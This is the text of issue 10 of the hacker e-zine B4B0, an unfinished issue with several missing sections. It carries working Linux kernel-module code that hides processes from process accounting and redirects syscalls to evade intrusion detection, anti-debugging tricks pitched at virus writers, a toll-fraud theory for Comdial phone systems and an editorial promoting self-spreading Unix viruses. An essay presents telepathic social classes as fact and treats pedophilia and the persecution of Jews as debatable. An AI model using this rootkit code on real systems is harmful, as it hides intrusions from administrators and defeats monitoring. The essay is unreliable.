[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ] [ Note: This is one of the lost issues of B4B0 (the other being ] [ issue 4, which has become inextricably lost). Most of this ] [ material is pretty old, and we got lazy (except for silvio). ] [ This is (was) the last issue of B4B0. ] http://www.b4b0.org Mischief. Mayhem. B4B0. .ad888bo 88888 .ad8888b .a888888888o. .a88888 a888b `88888 888888 `88888 8888888888888 `888 88 88 88888 8888888 88888 8888888888888 888 88 88 88888 88888888 88888 88888 88888 888 88 88 88888 8888 8888 88888 88888 8 88888 888 88 88 8888888888b. 888888888888b 8888888888b. 88888 8 88888 888 `888' 888888888888 8888888888888 888888888888 88888 88888 88888 888 8888 88888 888 8888888888888 888888888888 8888 888888888888 8888888888888 `888888888P' 8888b `8888888888' `8888888888P' kkr `8888 "The best times are not forgotten, yet time remains still when I am one with the Party Programme." - Nathan Chalmers, 1999 (c) 2000 The B4B0 Party Programme - thepartyprogrammehasspokenthepartyprogrammehasspokenthepartyprogrammehas - The Resurrection of Vice The Liberation of Ideals and Truths _/@#$%@#$%@#$%@#$%@#$%@#$%\_ -+$#@< The Voice of a New Tommorrow >@#$+- -\@#$%@#$%@#$%@#$%@#$%@#$%/- sEEl-vEE-0h .................................................. Silvio Cesare tEEp ....................................................... Abraham Johnson ge0rge ...................................................... George Peppard phFh4Ck3r ................................................... Johann Bachman gRE-0p ........................................................ Ian McKlusky thE MiLk .................................................... Mike Gruberman kuR4cK .......................................................... Sean Horny aH-lEHck ....................................................... Alec Eiffel sEEgn4l ............................................... "Fast Delivery" Jake jEEmEE ......................................................... Jimmy Fuchs tYE-mAHt ....................................................... John Hammer hIE-bRIhD ..................................................... Shabba Ranks _/@#$%@#$%@#$%@#$\_ -+$#@< Writers and Artists >@#$+- -\@#$%@#$%@#$%@#$/- B4B0 Staff ....................................................... See above ep1d ........................................................ Eugene Thuston exitt ........................................................ Patrick Dumas kkr .......................................................... Orko Richards smiler .................................................... Christian Hormel Letters, comments, submissions: letters@b4b0.org [ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ] ! B 2 K ! -+ The B4B0 Party Programme +- Issue 10 "Will 10 ever get released?" - B P P - [!@#$#@!] Table of Contents [!@#$#@!] - B P P - [ B ]=-=[ 01 ] Editorial ............................................. silvio [ 4 ]=-=[ 02 ] Statement of Intent ...................... the party programme [ B ]=-=[ 03 ] Kernel Function Hijacking (Linux) ..................... silvio [ 0 ]=-=[ 04 ] An ATM Primer ........................................... alec [ B ]=-=[ 05 ] Stealth Syscall Redirection (Linux) ................... silvio [ 4 ]=-=[ 06 ] Comdial Phone System Analysis ........................... ep1d [ B ]=-=[ 07 ] Oppression and Society ................................ silvio [ 0 ]=-=[ 08 ] Ascend TNT Caller ID Fun ................................ alec [ B ]=-=[ 09 ] Anti-Debugging Techniques (Linux) ..................... silvio [ 4 ]=-=[ 10 ] Elf Executable Reconstruction from a Core Image ....... silvio [ B ]=-=[ 11 ] Mailbag .................................. the party programme [ 0 ]=-=[ 12 ] Multiplatforum FreeBSD/Linux Binaries ................. silvio [ B ]=-=[ 13 ] Siilov Virus .......................................... silvio [ 4 ]=-=[ 14 ] In Conclusion ............................ the party programme [ *!%!@#*!@# ] Attached Juarez 'juarez' directory [ B ]=-=[ 01 ] ELF Magic and Madness (egg.tgz) ....................... smiler [ 4 ]=-=[ 02 ] Ltrace (ltrace-0.3.8-opt-l.tgz) ....................... silvio [ B ]=-=[ 03 ] Fping (fping-async-dns.tgz) ........................... silvio [ 0 ]=-=[ 04 ] Siilov x86 Linux Virus (siilov.bin) ................... silvio [ B ]=-=[ 05 ] Siilov source (siilov-src.c) .......................... silvio [ 4 ]=-=[ 06 ] Hamburglorz issues 1 and 2 (hamb.tgz) .................. chrak B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 [!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!][.1.][!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!] B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 ~!@#~!@#~!@#~ ! Editorial ! silvio ~!@#~!@#~!@#~ silvio, u can't code. Here we go again with another issue of B4B0, this time number 10. This is my first issue in the role of editor so hopefully everyone will be happy with the result. I've even gone to the effort of contributing more articles than seems sane by one person in one issue, so no complaints that I've been slack or don't take this position seriously! LETS BRING B4B0 BACK TO LIFE! 1) Let's talk about worm paradigms. Exactly, why must we use exploits to gain access to remote hosts? I don't think we have too. Let's look at unix viruses, if you're a subscriber to unix-virus then you've seen my posts on fully resident user viruses using the debugging system call ptrace in Linux to hijack lib functions in all processes the user has access too. Then why not stay resident as the user ventures out into remote hosts. This means that a virus can become a worm and soon we find that worms as we know them are no longer. If you subscribe to unix-virus long enough, then you might see a few viruses or worms like this (I have only about a million things to implement in a virus before then - like polymorphism, full residency and stealth to name a few of the things yet to do). 2) Let's talk about secure programming techniques. For starters, why do programs make the entire code set user id or set group id when only 1% of the program actually NEEDS privaledges. The same for daemons. For example, let's look at a simple application, identd in a restricted proc file system. Now, this is probably not a major application of secure programming techniques, but it's a good base. Let's ignore rc files etc, and focus on getting access to /proc/net/tcp which is not readable unless your in a special group. The easy method is to make the identd run as that group. Now, this isnt secure programming. Because if you compromise the daemon, you gain access to ALL of the proc file system. A more secure method, is have the daemon fork and in one process open /proc/net/tcp on behalf of the main daemon process using file descriptor passing. Now, if we compromise the main daemon we can only look at /proc/net/tcp. Instead, to gain full proc privs we have to compromise the small split process which can be made extremely (heh) secure because it's so small and not insignificant simple. Let's look at a similar example, traceroute/ping/fping all require root privs because they access raw sockets. In Linux 2.2 we can use capabilities to implement this without full root access, but a more portable solution is to have a socket daemon which opens raw sockets for users in a special group (via file descriptor passing). The programs requiring raw socket access communicate to the daemon via a unix domain socket which is only accessable by this special group. Actually we can make this more fine grained than group access depending on file system implementation. Then we make the programs using the socket daemon sgid this group (or whatever). The programs then run without root privs. Compromising the socket daemon is a harder task because it only specializes in small specifics. The only problem is that we must have a daemon running, but for extra security it might be worth it. Following up on this idea, let's try to eliminate SUID/SGID all together. Now, this idea wasnt originally mine (though i did arrive to it independently), in fact Dan Bernstein proposed this idea in Bugtraq last year. Let's look at a little of the shadow suite, and also some mail user agents that do dotlock mailbox locking. Now, from the shadow suite we have passwd/chfn/chsh which modify /etc/passwd and /etc/shadow and hence need root access. Why however must the entire bin be given root access? After all, when your gathering user input, or parsing such input, do you really need root? Let's instead, write a small daemon that can change those files for us, make it accessable though a world writeable unix domain socket (so we can all communicate with the daemon without special privs). To authenticate we can pass our usernamd and password to the daemon, but what if we try to change someone elses information and we have the right login? In the original bins, we cant do this. We can make out daemon follow this behaviour by using credentials for the connection. This technique allows you to determine the user connected to the socket. So we just ignore requests to modify information if the real uid doesnt match the uid requested (unless the real uid is root). The only problem, is that this isn't really portable. Linux has SO_PEERCRED, FreeBSD has its own CRED passing, Solaris has DOORS.. BUT, maybe we can determine the uid anyway. If as a user we have a file only we can read, and we pass that file descriptor to the daemon, the daemon knows who we are by checking the ownership and permissionon that file. I havent implemented fd passing credentials, but it sure seems interesting. Mailbox locking again, follows a similar line. Mailbox locking creates a .lock file in /var/spool/mail (let's assume this anyway), so we need mail group access to create a new file in that directory. So let's have a daemon that creates lock files based on the uid of the person connection to the daemon. The result is that we can eliminate SUID/SGID from many programs. Why exactly is removing SUID/SGID and replacing with a daemon better though? As described in Bugtraq, daemons allow for very limited interaction with the user, a very narrow channel which can be stringently protected. In SUID/SGID you have very limited control over what the user can do to interact. From the environment and arguments, to externally linked libraries or program tracing. For example, the RESOLV_HOST_CONF bug of several years ago would never have been exploitable using a daemon, simply because you couldn't change the daemons environment. I really think i need to write a real article on secure programming using these techniques. ONE LAST TOPIC: Probably the most important, mental telepathy and oppression. I have written a very brief introduction to the oppression of society in this b4b0 issue, and its short enough that you should all be able to read it and make a more informed decision of wether you are truely oppressed. Let's be hypothetical and say you believe as I do, as you really are, that you are oppressed, but feel that we are merely pawns, or cogs in the system. Let's look at history, all great movements had to start somewhere. Individuals have made great change this world such as Ghandi, Malcom-X, Nelson Mandella, or to the other extreme, Hitler. I say change is possible, but only possible if your willing to try even in the face of certain defeat. [ Most Underated Debugging Tool ............ ] -----> /usr/bin/objdump [ Most Poorly Documented But Useful Library ] -----> BFD -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- Email b4b0! : letters@b4b0.org Submit to b4b0! : submissions@b4b0.org View b4b0! : http://www.b4b0.org -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@ ! Statement of Intent ! the party programme ~!@#~!@#~!@#~!@#~!@#~!@ The B4B0 Party Programme Date formed: Unknown, estimated in the early 1970's. Estimated Membership: As few as ten, possibly thousands. Headquarters: The Socialist Republic of America, locale unknown; formerly based somewhere in the Midwest United States. Embassies and consuls worldwide. Area of Operations: Worldwide. Leadership: Other Names: B4B0, Babo, Bah-Boh, The Party Programme, Sponsors: Unknown. Political Objectives/Target Audiences: Background: Statement of Intent: B4B0 INSERT: statement x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ____ / \ ----------- c=='--\-/-- / B4B0 owns \ | @ @ | / you kiddies!/ <----- r4lph in his earlier days \ _`_ / ;/------------ \\_// -,- x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~ ! Kernel Function Hijacking ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~ INTRODUCTION This article describes a method of hijacking internal kernel functions, that is, kernel functions that are declared inside the kernel without a function pointer or vector for changing the kernel function it points too. This can have practical uses, as given in example code which patches the process accounting code to not log specially marked processes (processes given signal 31). KERNEL FUNCTION HIJACKING The basic premise for this attack is to replace the first bytes of the original function with an asm jump to the replacement jump. The algorithm follows: In init_module... * save the first 7 bytes of the original function for later use * set the new jump code to point to the replacement function * replace the first 7 bytes of the original function with a jump In cleanup_module... * restore the bytes of the original function with the saved copy In the replacement function... * do the payload for calling the old function... * restore the bytes of the original function with the saved copy * call the original function * replace the first 7 bytes of the original function with a jump The asm jump used is an indirect jump... This means no messing around with calculating offsets. movl $address_to_jump,%eax jmp *%eax THE IMPLEMENTED EXAMPLE The example code patches acct_process in kernel/sys.c which accounts for process accounting. Normally, you cannot redirect acct_process, but this does all the logging for process accounting, so we hijack the function to control process logging. The code works by waiting for a kill -31 to a process, when this is recieved, the replacement kill syscall sets a bit in the process flags that marks the process as not to be logged by process accounting. This technique is ideal as when the process forks, the process flags are copied, so children remaing log free aswell. The heart of the code is in _acct_process which looks at the process flags and if marked not to be logged, returns without calling the original acct_process. The acct_process variable must be assigned the correct address of the function in the kernel. Typically, this is found in System.map but if no map is present then the techniques described in my paper RUNTIME KERNEL KMEM PATCHING (http://www.big.net.au/~silvio) may be used. -- acct_nolog.c (Linux 2.0.35) #include #include #include #include #include #include #include #include #include /* change this to the correct address, which can be found in System.map */ int (*acct_process)(int) = (int (*)(int))0x00114520; #define CODESIZE 7 #define NOLOG_SIGNAL 31 #define NOLOG_PF 0x10000000 static char original_acct_code[7]; static char acct_code[7] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; int (*original_kill)(pid_t, int); extern void *sys_call_table[]; void *_memcpy(void *dest, const void *src, int size) { const char *p = src; char *q = dest; int i; for (i = 0; i < size; i++) *q++ = *p++; return dest; } int _acct_process(long exitcode) { if (!(current->flags & NOLOG_PF)) { int ret; _memcpy(acct_process, original_acct_code, CODESIZE); ret = acct_process(exitcode); _memcpy(acct_process, acct_code, CODESIZE); return ret; } return 0; } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if (task->pid == pid) return task; task = task->next_task; } while (task != current); return NULL; } int _kill(pid_t pid, int sig) { if (sig == NOLOG_SIGNAL) { struct task_struct *task; task = find_task(pid); if (task == NULL) return - ESRCH; task->flags |= NOLOG_PF; return 0; } return original_kill(pid, sig); } int init_module(void) { original_kill = sys_call_table[__NR_kill]; sys_call_table[__NR_kill] = _kill; *(long *)&acct_code[1] = (long)_acct_process; _memcpy(original_acct_code, acct_process, CODESIZE); _memcpy(acct_process, acct_code, CODESIZE); return 0; } void cleanup_module(void) { sys_call_table[__NR_kill] = original_kill; _memcpy(acct_process, original_acct_code, CODESIZE); } x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x "Reading B4B0 gave me inspiration to kick the habit. I mean, those colors truly tasted like music." - Scott Baio x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x MISSING: ATM PRIMER x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x 0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0! B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0 !B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@ ! Syscall Redirection Without Modifying the Syscall Table ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@ This article describes a technique of redirecting system calls without modifying the sys call table (implemented in Linux). This can be used to evade intrusion detection systems that use the sys call table to register redirected or trojaned system calls. It is however an easy modifcation to make to detect the attack implemented in this article. The basic premise behind this attack is to modify the old system call code to jump to the new system call, thus control is transferred to the replacement system call and the sys call table is left untouched. If this is the only procedure carried out, the old system call is left in a clobbered state, and is dangerous to execute, so the original code is saved and when the system call is made. The original code replaces the jump and the system call acts as normal. After this, the jump can then be inserted (overwritten) again waiting for the next use. Detecting this attack means that the first few bytes of the original system calls should be saved and then compared to verify that indeed the original system call is in place. -- stealth_syscall.c (Linux 2.0.35) #include #include #include #include #include #include #include #include #define SYSCALL_NR __NR_uname static char syscall_code[7]; static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; extern void *sys_call_table[]; void *_memcpy(void *dest, const void *src, int size) { const char *p = src; char *q = dest; int i; for (i = 0; i < size; i++) *q++ = *p++; return dest; } /* uname */ int new_syscall(struct new_utsname *buf) { printk(KERN_INFO "UNAME - Silvio Cesare\n"); _memcpy( sys_call_table[SYSCALL_NR], syscall_code, sizeof(syscall_code) ); ((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf); _memcpy( sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code) ); } int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy( syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code) ); _memcpy( sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code) ); return 0; } void cleanup_module(void) { _memcpy( sys_call_table[SYSCALL_NR], syscall_code, sizeof(syscall_code) ); } x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x silvio: insert text or graphic here. x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~! ! Possible Flaw in Comdial Phone Systems ! ep1d ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~! #$ Introduction First off I would like to state that anything stated here is for educational purposes only. Also that my ideas that are listed here may or may not work. I will explain both sides of my theory, to help anyone better understand what is going on and to maby fill me in on anything they know. #$ Theory My theory results in the ability to making free phone calls via comadial phone systems, but may also cover other types of phone systems. The thought behind this is that, each outbound line has a extension that can be reached while someone is inside of the phone systems. It may not be a standard extension but it would still be reachable. If the phone systems runs the same concept as the comdial phone systems it may be vulnerable to this. #$ Concept The Comdial Impact phones are the only phones I have experience with and they are setup like, 12 - 24 buttons on the right hand side. On our phone system 6 are lines, 1 is to the vmail backdoor, 1 to xfer vmail, 1 to vmail, and 1 to page. #$ It May The thought behind why it may work is, you can dial into the phone system from the outside via the vmail backdoor. Once you are into the phone system you can act as you are a phone on the system. If you found out the correct extensions to each line that the phone must put out, you would be able to access the outbound lines, therefor creating a "bounce". The hardest part about doing this is finding the vmail backdoor, and the extensions of the lines. I am pretty sure once the extensions are found, they are probably the same where ever else you look. #$ It May Not My theory in general may just be all wrong. The phones may have direct access to the system, and just opens up a current to the switchboard and takes over the line. The vmail backdoor may just be accessed the same way. You can reach the lines from the outside world also, and it would ring into the phone, same as what the vmail backdoor does. #$ Conclusion The question still stands, is this possible? I would love to recive any more information on this as you can think of please email it to me at josh@bigcity.net. #$ EOF x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x Did You Know? Original B4B0 jsbach is an accomplished instrument player and has a wide collection of flutes. x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~! ! Oppression and Society ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~! As everyone knows we have three distinct classes in society, all directly a result of telepathic abilities - lower, middle and ruling classes. The middle class can telepathically read the thoughts of the lower class and the ruling class, but the ruling class can selectively determine what the middle class can read of themselves. The ruling class can also read the thoughts of the lower class and can apply telepathic abilities to this class through other methods such as physical and subliminal influence. The lower and middle classes are often referred to as "cats" or "dogs". These classes are indirectly related to normal classes within out capitalist society. The telepathic lower class has higher poverty, higher crime, higher substance abuse and so forth. This can be attributed to telepathic class, as the ruling class would have you believe, or we can see the situation in its true lighting, as a case of simply being an oppressed class and exhibiting the typical behavior of an oppressed people. The lower and ruling class is the minority as expected, and the middle class is the majority. The lower class has long been considered the genetic inferior, however this is merely a prejudice created by the ruling class for maintaining control over the masses - the middle class. There are multiple definitions of oppression, but all suggest the unjust exercise of power or being heavily weighed down in mind or body. The lower class is obviously oppressed, as cruel and arbitrary power is exercised. The lower class is indoctrined with a slave ideology that subordinates them to the rest of society. The real exploitation and oppression is not so obvious. It is the oppression of the masses, the middle class. The simple definition of freedom is the ability to exercise choice or free will. In a free society, while crime is not permitted, the thought of crime or discussion of the law still exists because people can exercise free choice and are able to think on their own. Hence, while all ideas are not desirable, such as those which break the law, it shows that a society is truly free by allowing the law to be analyzed. At the same time, while lack of this demonstrates an enslaved society, the existence of opposition to the law does not always demonstrate a free society. In an enslaved society, we all think and behave the same. Indeed, as George Orwell suggested, in such a society the ability to think outside the ruling ideology (the ideology of the ruling class to perpetuate its own rule) will eventually become impossible. The fact is we live in such a society today. The middle class is being oppressed because it cannot express their choice, even verbally. The middle class has indeed been indoctrined to believe exactly what the ruling class dictates. Even if the ideology is obviously true, freedom has been removed, because the ability to question it has been removed. Even though society agrees as a whole of certain points of view, one does not have to look far to see an opposite standing of every topic imaginable. Look at pedophilia or even the persecution of the Jews, views that have opinions on both sides no-matter how obvious the truth is. The middle class has been indoctrined to consider the lower class the enemy. Looking back throughout history, such a scenario isn't new. For centuries, minority groups have been oppressed by the middle class, whom are in turn indoctrined to these beliefs by the ruling class. By displacing the cause of society's problems on these scapegoats, the ruling class can provide the solution to a utopic society and maintain the status quo. Oppression does not necessarily dictate what a person must do, it dictates what a person must not do. If the middle class decided that they would not follow the doctrines, would you expect an equal cruel and arbitrary exercise of power on behalf of the ruling class? The lower class is oppressed, but the middle class is equally repressed. The solution to this, is not one of physical force, but of knowledge and awareness. Discuss the ruling ideology, express an opposing stance if you desire, or yell out its value. This is the only way you can actually demonstrate free choice in a society that supposedly is designed for the people, not for the minority rulers. x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x MISSING: Ascend TNT Caller ID Fun x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~ ! Linux Anti-Debugging Techniques (Fooling the Debugger ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~ TABLE OF CONTENTS ----------------- INTRODUCTION FALSE DISASSEMBLY DETECTING BREAKPOINTS SETTING UP FALSE BREAKPOINTS DETECTING DEBUGGING INTRODUCTION ------------ This article describes anti debugger techniques for x86/Linux (though some of these techniques are not x86 specific). That is techniques to either fool, stop, or modify the process of debugging the target program. This can be useful to the development of viruses and also to those implementing software protection. FALSE DISASSEMBLY ----------------- This elegant technique produces false disassembly when listed. It produces this by jumping into the middle of instruction. The real code starts in the middle of this instruction, but the disassembly uses the entire instruction and thus continues disassembly not alligned to the real assembly. jmp antidebug1 + 2 antidebug1: .short 0xc606 call reloc reloc: popl %esi jmp antidebug2 antidebug2: addl $(data - reloc),%esi movl 0(%esi),%edi pushl %esi jmp *%edi data: .long 0 -- $ objdump -d a.out . . . 8048340: 55 pushl %ebp 8048341: 89 e5 movl %esp,%ebp 8048343: eb 02 jmp 0x8048347 8048345: 06 pushl %es 8048346: c6 e8 00 movb $0x0,%al 8048349: 00 00 addb %al,(%eax) 804834b: 00 5e eb addb %bl,0xffffffeb(%esi) 804834e: 00 81 c6 0f 00 addb %al,0xfc6(%ecx) 8048353: 00 8048354: 00 8b 7e 00 56 addb %cl,0xff56007e(%ebx) 8048359: ff 804835a: e7 00 outl %eax,$0x0 804835c: 00 00 addb %al,(%eax) 804835e: 00 89 ec 5d c3 addb %cl,0x90c35dec(%ecx) 8048363: 90 8048364: 90 nop . . . DETECTING BREAKPOINTS --------------------- A breakpoint is defined by overwriting the breakpoint address with an int3 opcode (0xcc). If a program is being traced (man ptrace) then an int3 will cause the process to stop. This is when the parent process debugging takes over control. To continue processing it is up to the debugger to overwrite the int3 opcode with the original opcode. Thus to detect a breakpoint, the program simply has to check for an int3 opcode. Another solution is to checksum the code image. If the checksum fails, the code has been modified, and a breakpoint is probably the culprit. void foo() { printf("Hello\n"); } int main() { if ((*(volatile unsigned *)((unsigned)foo + 3) & 0xff) == 0xcc) { printf("BREAKPOINT\n"); exit(1); } foo(); } -- $ gdb GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc. (gdb) file a.out Reading symbols from a.out...done. (gdb) break foo Breakpoint 1 at 0x8048373: file break.c, line 3. (gdb) run Starting program: /home/silvio/src/antidebug/a.out BREAKPOINT Program exited with code 01. (gdb) quit $ ./a.out Hello $ SETTING UP FALSE BREAKPOINTS ---------------------------- As stated earlier, a breakpoint is created by overwriting the address with an int3 opcode (0xcc). To setup a false breakpoint then we simply insert an int3 into the code. This also raises a SIGTRAP, and thus if our code has a signal handler we can continue processing after the breakpoint. #include void handler(int signo) { } int main() { signal(handler, SIGTRAP); __asm__(" int3 "); printf("Hello\n"); } -- $ gdb GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc. (gdb) file a.out Reading symbols from a.out...(no debugging symbols found)...done. (gdb) run Starting program: /home/silvio/src/antidebug/a.out (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap. 0x80483c3 in main () (gdb) c Continuing. Hello Program exited with code 06. (gdb) quit $ ./a.out Hello $ DETECTING DEBUGGING ------------------- This is an elegant technique to detect if a debugger or program tracer such as strace or ltrace is being used on the target program. The premise of this technique is that a ptrace[PTRACE_TRACEME] cannot be called in succession more than once for a process. All debuggers and program tracers use this call to setup debugging for a process. int main() { if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf("DEBUGGING... Bye\n"); return 1; } printf("Hello\n"); return 0; } -- $ gdb GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc. (gdb) file a.out Reading symbols from a.out...done. (gdb) run Starting program: /home/silvio/src/antidebug/a.out DEBUGGING... Bye Program exited with code 01. (gdb) quit $ ./a.out Hello $ x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@ ! Elf Executable Reconstruction From a Core Image ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@ TABLE OF CONTENTS ----------------- KERNEL CHANGES FROM 2.0 TO 2.2 INTRODUCTION THE PROCESS IMAGE THE CORE IMAGE EXECUTABLE RECONSTRUCTION FAILURES IN RECONSTRUCTION USES OF RECONSTRUCTION KERNEL CHANGES FROM 2.0 TO 2.2 ------------------------------ This article was written primarily in Linux 2.0.x but the code was patched to work in both 2.0.x and 2.2.x If any inconsistancies occur in this article related to kernel changes (the ELF core dump image I know has changed. No longer is the first PT_LOAD segment in the image the TEXT segment). I may modify this article to reflect 2.2, but this is currently not planned. Silvio Cesare, 28 January 2000 INTRODUCTION ------------ This article documents the results from experimenting with binary reconstruction of an ELF executable given a core dump or snapshot of the process image. ELF knowledge is assumed and it is suggested that the interested reader understand the structure of an ELF binary before undertaking full understanding, but if only a rudimentary understanding of the reconstruction is required, then it may be possible to ignore ELF understanding. A Linux implementation of this reconstruction code is provided. THE PROCESS IMAGE ----------------- In summary, a core image is a dump of the process image at dump time. The process image contains a number of loadable program segments or virtual memory regions. In an ELF binary these are referred to by program headers and in the Linux kernel they are referred to as vm_area_struct's. The actual core dump is a dump of the vm_area_struct's but these correspond to the program headers of the executable and shared libraries used to create the process image. In Linux, a group of vm_area_struct's are referred to as a memory map or as a map in the proc file system. A typical map is given below for a program using libc. debian# cat /proc/16114/maps 08048000-08049000 r-xp 00000000 03:03 50198 08049000-0804a000 rw-p 00000000 03:03 50198 40000000-4000a000 r-xp 00000000 03:03 6001 4000a000-4000c000 rw-p 00009000 03:03 6001 4000c000-4000e000 r--p 00000000 03:03 30009 4000e000-400a0000 r-xp 00000000 03:03 6030 400a0000-400a7000 rw-p 00091000 03:03 6030 400a7000-400b4000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0 The first two memory regions using virtual addresses 8048000 - 8049000 and 8049000 - 804a000 correspond to the text and data segments respectively. Notice also that the permission bits represent this also. Also notice that the memory regions only lie on page borders. All memory regions in a core dump or mapping lie on page borders. This means, that the smallest memory region is one page long. It must also be noted that a program segment represented by a program header in an ELF binary does not have to lie on a page border, so program segments do not map one to one on virtual memory regions. The following six mappings correspond to libc memory regions. The last region is the stack. THE CORE IMAGE -------------- The core image as stated above is a dump of the process image with some extra sections for registers and any useful information. In an ELF core image, the memory regions belonging to the process image as stated correspond to program segments, so a core file has a list of program headers each for each virtual memory region. The register information and so forth is stored in a notes section in the ELF binary. To reconstruct an executable from a core dump or process image we can ignore the registers and concentrate only on the memory regions. EXECUTABLE RECONSTRUCTION -------------------------- To reconstruct an executable from a core dump we simply have to create the ELF execute Abel with the memory regions corresponding to the text and data segments of the core image. It must be remembered, that when loading the text segment, the ELF header and program headers are also loaded into memory (for efficiency) so we can use these for our executable image. The executable ELF header contains such information as the true text and data segment start and size (remember the memory regions lie on page borders). Now, if we only use the text and data segments in our reconstruction, the result executable may only work on the system it was reconstructed on. This is because the Procedure Linkage Table (PLT) may have resolved shared library functions to point to its loaded value. Moving the binary means that the library may be at a different position, or that the function may be at a different location. Thus for true, system independence, the entire image excluding the stack must be used in the reconstructed executable. FAILURES IN RECONSTRUCTION -------------------------- The problem with reconstruction, is that the snapshot of the process image is at runtime, not at initiation time, so its possible that the data segment which is writable may have changed values. Consider the following code static int i = 0; int main() { if (i++) exit(0); printf("Hi\n"); } In this instance, reconstructing the image will result in an executable that immediately exits because it relies on the initial value of the global variable 'i'. The educated user may use debugging tools to find such code but for the uneducated user its not so easy. USES OF RECONSTRUCTION ---------------------- Reconstructing images does not have many uses outside academic use but one possible use is the ability to copy an executable that has only execute permission on. Creating the core dump is easy by sending the process a SIGSEGV or alternately, the image may be copied from the process image in the proc filesystem. -- $ cat test_harness.c int main() { for (;;) printf("Hi\n"); } $ gcc test_harness.c -o test_harness $ ./test_harness Hi Hi Hi . . . $ kill -SIGSEGV `ps|grep test_harness|grep -v grep|awk '{print $1}'` $ ./core_reconstruct $ ./a.out Hi Hi Hi . . . --------------------------------- CUT --------------------------------------- #include #include #include #include #include #include #include void die(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fputc('\n', stderr); exit(1); } #define PAGE_SIZE 4096 static char shstr[] = "\0" ".symtab\0" 